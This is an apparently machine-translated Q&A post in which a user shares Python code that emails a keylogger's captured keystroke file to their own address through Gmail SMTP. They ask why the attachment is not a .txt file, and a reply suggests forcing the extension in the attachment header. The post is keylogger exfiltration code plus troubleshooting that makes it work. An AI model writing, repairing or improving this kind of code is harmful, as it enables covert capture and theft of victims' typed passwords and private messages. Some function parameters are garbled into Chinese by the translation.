[英]Keylogger not sending logs in . txt format to email
我為鍵盤記錄器編寫了一個代碼,它旨在將日志發送到我的 email,問題是我得到了日志但沒有 in.txt,我無法打開它在此處輸入圖像描述
def send_email(文件名,附件,toaddr):
fromaddr = email_address
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['subject'] = "Log File"
body = "Keylogger"
msg.attach(MIMEText (body,'plain'))
filename = filename
attachment = open(attachment,'rb')
p = MIMEBase('application','octet-stream')
p.set_payload((attachment).read())
encoders.encode_base64(p)
p.add_header('Content-Disposition',"attachment; filename=%s" %filename)
msg.attach(p)
s = smtplib.SMTP('smtp.gmail.com',587)
s.starttls()
s.login(fromaddr,password)
text = msg.as_string()
s.sendmail(fromaddr,toaddr,text)
s.quit()
send_email(keys_information, file_path + extend + keys_information, toaddr)
你為什么不試試:
p.add_header('Content-Disposition',"attachment; filename=%s.txt" %filename)
基本上強制.txt
擴展名應該可以工作。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.